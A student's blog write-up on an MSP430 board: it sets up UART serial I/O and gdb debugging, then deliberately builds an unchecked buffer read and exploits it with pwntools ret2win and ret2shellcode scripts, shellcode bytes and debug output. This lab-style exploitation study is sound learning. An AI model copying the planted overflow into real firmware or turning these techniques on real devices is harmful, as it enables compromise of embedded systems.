msp430 pwn

recommended listening for this post is kawasaki backflip by dogleg.

https://i.imgur.com/xxR6MHc.png so for my first year of uni they gave us access to an msp430 board and i was naturally very curious as to what you could do with it, here r my findings after a little bit of experimentation. during my trimester proper i couldn’t properly figure out how to get serial communications working*, but now in my second trimester i am wiser and cooler and i have figured that out - and naturally, serial comms -> input/output -> … pwn … ?

*i ended up writing a reversing challenge based on the msp430 architecture but i wasnt happy with it given that theres no actual user input. how can you have a flagchecker if you have no flag to check!!

a few things: i used my friend’s nix flake to set everything up, there are differences in the C syntax (for ISRs specifically) depending on whether or not you use GCC or CCS (code composer studio) to compile your binaries. i will be using GCC in this writeup because i am more familiar with it and i prefer it.

serial comms

the msp430 is a microcontroller. the important thing about the msp430 is that most of its peripherals use memory-mapped IO, in that you can control, read, write from the various peripherals the device has to offer just by accessing memory that the main CPU already has access to.

the peripherals include stuff like timers, LEDs, n most importantly, UART (universal asynchronous receiver-transmitter) :) this is what we’ll be using to actually communicate with the msp430 just by typing in stuff.

a lot of setup needs to be performed before we can actually get UART up n running:

void initialize_uart(void) {
  WDTCTL = WDTPW + WDTHOLD; // set watchdog

  P4SEL |= BIT4 + BIT5; // setup pins for UART (P4.4 is transmit, P4.5 is receive)

  UCA1CTL1 |= UCSWRST; // configure UART, first we place USCI in reset
  UCA1CTL1 |= UCSSEL_2; // use SMCLK - the MSP430 has 3 diff clock sources, we use this one (1.048MHz)

  UCA1BR0 = 109; // we calculate the BAUD rate, lower byte is BR0, top byte is BR1. 1.048Mhz / 9600 = 109.2
  UCA1BR1 = 0; // the number fits inside one byte so we just clear it out
  UCA1MCTL |= UCBRS_2; // modulation, because 1.048hmhz is not divisible into 9600 we set this modulation bit

  UCA1CTL1 &= ~UCSWRST; // now we can initialize it
}

i have helpfully commented the above code but some additional notes:

  • we need to configure the pins for receiving + transmitting, and the default pin used for that, according to the spec, are P4.4 and P4.5. pdf however, they are not actually configured for UART functionality by default, hence we need to P4SEL such that they are specifically used for UART. secondary note that their ‘mapped secondary digital function’ is the functionality shown in the above table.

  • we operate on 9600 baud. we do this by setting the USCI module to use the 1.048mhz clock on the msp430, then further dividing that down. baudrate note the registers we use in the code above, and what they correspond to here.

after all of this nonsense, we can get UART setup!

#include <msp430.h>
#include <string.h>

void initialize_uart(void) {
  WDTCTL = WDTPW + WDTHOLD; // set watchdog
  
  P4SEL |= BIT4 + BIT5; // setup pins for UART (P4.4 is transmit, P4.5 is receive)

  UCA1CTL1 |= UCSWRST; // configure UART, first we place USCI in reset
  UCA1CTL1 |= UCSSEL_2; // use SMCLK - the MSP430 has 3 diff clock sources, we use this one (1.048MHz)

  UCA1BR0 = 109; // we calculate the BAUD rate, lower byte is BR0, top byte is BR1. 1.048Mhz / 9600 = 109.2
  UCA1BR1 = 0; // the number fits inside one byte so we just clear it out
  UCA1MCTL |= UCBRS_2; // modulation, because 1.048hmhz is not divisible into 9600 we set this modulation bit

  UCA1CTL1 &= ~UCSWRST; // now we can initialize it
  UCA1IE |= UCRXIE; // enable RX interrupts, when the UART receives anything our interrupt will actly trigger
}

void main(void) {
  initialize_uart();
  uart_write("hello vro!\r\n");
}

void uart_write(char* str) {
  while (*str) {
    while (!(UCA1IFG & UCTXIFG));
    UCA1TXBUF = *str++;
  }
}

i’ve also written a handy uart_write() function that will iterate through each character, and set the value at the USCI transfer buffer UCA1TXBUF accordingly. if we start our serial listener, then flash+run the program, we can see our output:

wow

the thing is, uart_write only triggers once every runtime. also, this doesn’t let us get any input from UCA1RXBUF at all! our next goal should be to write something that will pick up whenever we send a character, and then ‘mirror’ that character back into the serial console.

we can do this with…

a quick detour into interrupt service routines (ISRs)

most peripherals on the MSP430 are based on interrupts instead of polling, enabling us to write functions that only trigger when the chip detects a character instead of polling it constantly.

void __attribute__ ((interrupt(USCI_A1_VECTOR))) USCI_A1_ISR (void)
{
  if (UCA1IV == 2) {
    char dummy = UCA1RXBUF;
    while (!(UCA1IFG & UCTXIFG));
    UCA1TXBUF = dummy;
  } 
}

UCA1IV is the interrupt vector for USCI, a value of 2 means that there is a character waiting for us in the buffer if so, we save the character, then wait for the transmitter to be ready (hence that while loop), and then populate the transmission buffer with the saved character. this correctly enables our input to be reflected across the serial device:

woohoo

great! this is a nice way to save computing power by leveraging interrupt service routines.

however, for the most part we will actually just be ‘polling’ the peripheral itself because this makes programming a lot easier xd

actually doing something with input/output

anyways now it’s time to reinvent fgets() from first principles - ideally, we want to be able to read characters from UART, then store them all into a buffer so that we can Actually Do Stuff with the input.

void uart_fgets(char* str, int max_size) {
  int count = 0;
  while (count < max_size - 1) {
    while (!(UCA1IFG & UCRXIFG)); 
    char inp = UCA1RXBUF;

    // echo back
    while (!(UCA1IFG & UCTXIFG));
    UCA1TXBUF = inp;

    if (inp == '\r' || inp == '\n') {
      str[count] = '\0';
      uart_write("\r\n");
      return;
    } else {
      str[count++] = inp;
    }
  }
  str[count] = '\0';
  return;
}

here is code to do exactly that! we just keep getting input until a predetermined size or a newline, storing it all into some buffer as we go along.

we can plonk this into a loop:

void input_loop(void) {
  char buf[16] = {0};
  uart_write("--------\r\nenter input > ");
  uart_fgets(buf, 32);
  uart_write("input entered > ");
  uart_write(buf);
  uart_write("\r\n");
  return; 
}

and then:

void main(void) {
  initialize_uart();
  __bis_SR_register(GIE);
  while (1) {
    input_loop();
  }
}

this will continually prompt us for input and just echo it back.

meow

nothing exciting so far, just basic i/o!

debugging w/ gdb

the utility i’m using, mspdebug, has built in gdb functionality w/ the gdb command, and the workflow is not entirely dissimilar to kernel pwn: you start the device, then start the debugger, then remotely attach the debugger to the device.

gdb

on the left i have mspdebug, and on the right i have the debugger. gdb is a lot more comfortable for me, and we can see various cool things, such as variable names:

(gdb) info variables
All defined variables:

Non-debugging symbols:
0x00002400  __heap_start__
0x00002400  _edata
0x00002400  _end
0x00002404  __HeapLimit
0x00002404  __heap_end__
0x00004400  __stack
0x0000fffe  __msp430_resetvec_hook

as well as disassembly for certain functions we may find interesting

(gdb) disass main
Dump of assembler code for function main:
   0x000045cc <+0>:	call	#17630		;#0x44de
   0x000045d0 <+4>:	nop			
   0x000045d2 <+6>:	eint			
   0x000045d4 <+8>:	nop			
   0x000045d6 <+10>:	call	#17692		;#0x451c
   0x000045da <+14>:	call	#17692		;#0x451c
   0x000045de <+18>:	jmp	$-8      	;abs 0x45d6
End of assembler dump.

as well as register values during runtime!

(gdb) info registers
pc             0x446c              0x446c <uart_fgets+10>
sp             0x43ea              17386
sr             0xa                 10
cg             0x0                 0
r4             0xfffff             1048575
r5             0x4444              17476
r6             0xe0                224
r7             0x6ec0              28352
r8             0xa508              42248
r9             0x0                 0
r10            0x2d                45
r11            0x0                 0
r12            0x43ec              17388
r13            0x1f                31
r14            0x0                 0
r15            0x3                 3

(pc is the program counter, or the msp430 equivalent of RIP, and sp is the stack pointer). we can place some breakpoints at our input_loop function and see the contents of the stack, as well:

Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/8x sp
No symbol table is loaded.  Use the "file" command.
(gdb) x/8x $sp
0x43ec:	0x00000000	0x00000000	0x00000000	0x00000000
0x43fc:	0x444645da	0x2d000a0d	0x2d2d2d2d	0x0d2d2d2d

note that the top half is all nulled out, this is because we have allocated that to be a zeroed-out buf var. we can also see the return address, 0x45da, directly after the buf var.

(gdb) bt
#0  0x000045c6 in input_loop ()
#1  0x000045da in main ()

continuing just before the ret instruction:

Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/2i $pc
=> 0x45c6 <input_loop+170>:	
    add	#16,	r1	;#0x0010
   0x45ca <input_loop+174>:	ret

we can see that the ‘stack’ cleanup here is to increment the stack pointer by 0x10 (as that’s the size of our buf), and to ret by popping the next value off of the stack and jumping to it. this should be quite familiar if you’re familiar with pwn on more conventional platforms (i.e. x86).

therefore this should lead us to…

buffer overflow

say we fgets() with the wrong size:

void input_loop(void) {
  char buf[16] = {0};
  uart_write("--------\r\nenter input > ");
  uart_fgets(buf, 32);
  uart_write("input entered > ");
  uart_write(buf);
  uart_write("\r\n");
  return; 
}

// let's also include a win() func
void win(void) {
  uart_write("you're winner!");
  return;
}

by right, since the return address is exactly below the buffer on the stack, if we have an overflow we should be able to overflow into the return address and gain control of PC.

let’s simulate that:

Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/8x $sp
0x43ec:	0x00000000	0x00000000	0x00000000	0x00000000
0x43fc:	0x444645da	0x2d000a0d	0x2d2d2d2d	0x0d2d2d2d
(gdb) bt
#0  0x000045c6 in input_loop ()
#1  0x000045da in main ()
(gdb) c
Continuing.

Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/8x $sp
0x43ec:	0x41414141	0x41414141	0x41414141	0x41414141
0x43fc:	0x41414141	0x2d000a0d	0x2d2d2d2d	0x0d2d2d2d
(gdb)

see how the initial return address, 0x45da, is now overwritten with 0x4141, and indeed, if we step through it manually, we will see that the program will attempt to jump to 0x4141:


Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/8x $sp
0x43ec:	0x41414141	0x41414141	0x41414141	0x41414141
0x43fc:	0x41414141	0x2d000a0d	0x2d2d2d2d	0x0d2d2d2d
(gdb) stepi
0x000045ca in input_loop ()
(gdb) stepi
0x00004140 in ?? ()
(gdb)

we can just do the same concept that we typically see in ret2win, which is writing the address of the win function to the stack. we can do this with pwntools, which has a built-in way to interface w/ serial devices:

from pwn import *

port = '/dev/ttyACM1'
baud = 9600

context.log_level = 'debug'
io = serialtube(port, baudrate=baud)
io.sendline(b'A' * 16 + p16(0x45e0))
while True:
    print(io.recvline())

the exploit is quite rudimentary, we just fill the buffer with A’s, and then append our return address. really this is no different from standard x86 ret2win, and we can see that it basically works identically!

[DEBUG] Sent 0x13 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAAAAAA
    00000010  e0 45 0a                                            │·E·│
    00000013
[DEBUG] Received 0x39 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAAAAAA
    00000010  e0 45 0d 0d  0a 69 6e 70  75 74 20 65  6e 74 65 72  │·E··│·input enter
    00000020  65 64 20 3e  20 41 41 41  41 41 41 41  41 41 41 41  ed > AAAAAAAAAAA
    00000030  41 41 41 41  41 e0 45 0d  0a                        AAAAA·E·│·│
    00000039
b'AAAAAAAAAAAAAAAA\xe0E\r\r\n'
b'input entered > AAAAAAAAAAAAAAAA\xe0E\r\n'
[DEBUG] Received 0x23 bytes:
    00000000  79 6f 75 27  72 65 20 77  69 6e 6e 65  72 f8 8c 0e  you'│re winner···│
    00000010  e6 2d 2d 0d  0a 65 6e 74  65 72 20 69  6e 70 75 74  │·--·│·enter input
    00000020  20 3e 20                                             > 
    00000023
b"you're winner\xf8\x8c\x0e\xe6--\r\n"

ret2shellcode

finally, we can do ret2shellcode. the thing about the msp430 (and other microcontrollers) is that they don’t support NX regions, so everything is also executable.

we can write some shellcode to the stack, and then just jump to the stack to execute. let’s illustrate w/ an example, by trying to leak a variable defined in the program:

__attribute__((used, retain, section(".rodata")))
const char flag[] = "msp430{ret2shellcode_test}";

(these ugly attributes are required so that the compiler doesn’t just get rid of our variable).

the way we can leak this variable is by calling uart_write on it, let’s look at the disassembly for that function:

Disassembly of section .text:

00004446 <uart_write>:
    4446:	6d 4c       	mov.b	@r12,	r13	;
    4448:	cc 93 00 00 	cmp.b	#0,	0(r12)	;r3 As==00
    444c:	09 24       	jz	$+20     	;abs 0x4460
    444e:	1c 53       	inc	r12		;
    4450:	e2 b3 1d 06 	bit.b	#2,	&0x061d	;r3 As==10
    4454:	fd 27       	jz	$-4      	;abs 0x4450
    4456:	c2 4d 0e 06 	mov.b	r13,	&0x060e	;
    445a:	7d 4c       	mov.b	@r12+,	r13	;
    445c:	0d 93       	cmp	#0,	r13	;r3 As==00
    445e:	f8 23       	jnz	$-14     	;abs 0x4450
    4460:	30 41       	ret

we can see here that the pointer for our string is in r12. hence, our shellcode will need to mov the address of our flag buffer into r12 first, then call uart_write.

let’s get those addresses:

0x0000fffe  __msp430_resetvec_hook
(gdb) x/s 0x442d
0x442d <flag>:	"msp430{ret2shellcode_test}"
(gdb) x uart_print
(gdb) x/i uart_write
   0x4452 <uart_write>:	mov.b	@r12,	r13	;

and then let’s compile that shellcode. given that the buffer is 16 bytes in size, i also put in some nops at the beginning:

.section .reset, "a"       /* The .reset needs to be alloc, otherwise the flashing tool does not know that this needs to be flashed */
    .word start            /* Address of entry point */

.text
start:
    nop
    nop
    nop
    nop
    mov #0x442d, r12
    call #0x4452

this gives us the raw bytes of shellcode we need to write to our buffer.

Disassembly of section .text:

0000c000 <start>:
    c000:	03 43       	nop			
    c002:	03 43       	nop			
    c004:	03 43       	nop			
    c006:	03 43       	nop			
    c008:	3c 40 2d 44 	mov	#17453,	r12	;#0x442d
    c00c:	b0 12 52 44 	call	#17490		;#0x4452

last things last, we need to see the actual address of the stack during execution so we know where to jump to.

(gdb) i r
pc             0x45d2              0x45d2 <input_loop+170>
sp             0x43ec              17388
(gdb) 

now we know our stack is at 0x43ec, our flag is at 0x442d, and our uart_write is at 0x4452.

putting it all together:

from pwn import *

port = '/dev/ttyACM1'
baud = 9600

io = serialtube(port, baudrate=baud)
payload = b'\x03\x43' * 4 + b'\x3c\x40\x2d\x44' + b'\xb0\x12\x52\x44' + p16(0x43ec)

io.sendline(payload)
while True:
    print(io.recvline())

we get our flag!

navi@curette (env/experimentation/solve) > python ret2shellcode.py
[DEBUG] Sent 0x13 bytes:
    00000000  03 43 03 43  03 43 03 43  3c 40 2d 44  b0 12 52 44  │·C·C│·C·C<@-D│··RD
    00000010  ec 43 0a                                            │·C·│
    00000013
[DEBUG] Received 0x40 bytes:
    00000000  03 43 03 43  03 43 03 43  3c 40 2d 44  b0 12 52 44  │·C·C│·C·C<@-D│··RD
    00000010  ec 43 0d 0d  0a 69 6e 70  75 74 20 65  6e 74 65 72  │·C··│·input enter
    00000020  65 64 20 3e  20 03 43 03  43 03 43 03  43 3c 40 2d  ed > ·C·│C·C·│C<@-
    00000030  44 b0 12 52  44 ec 43 0d  0a 6d 73 70  34 33 30 7b  D··RD·C·│·msp430{
    00000040
b'\x03C\x03C\x03C\x03C<@-D\xb0\x12RD\xecC\r\r\n'
b'input entered > \x03C\x03C\x03C\x03C<@-D\xb0\x12RD\xecC\r\n'
[DEBUG] Received 0x28 bytes:
    00000000  72 65 74 32  73 68 65 6c  6c 63 6f 64  65 5f 74 65  ret2shellcode_te
    00000010  73 74 f8 8c  0e e6 2d 2d  0d 0a 65 6e  74 65 72 20  st··│··--│··enter 
    00000020  69 6e 70 75  74 20 3e 20                            input > 
    00000028
b'msp430{ret2shellcode_test\xf8\x8c\x0e\xe6--\r\n'

yippee!!!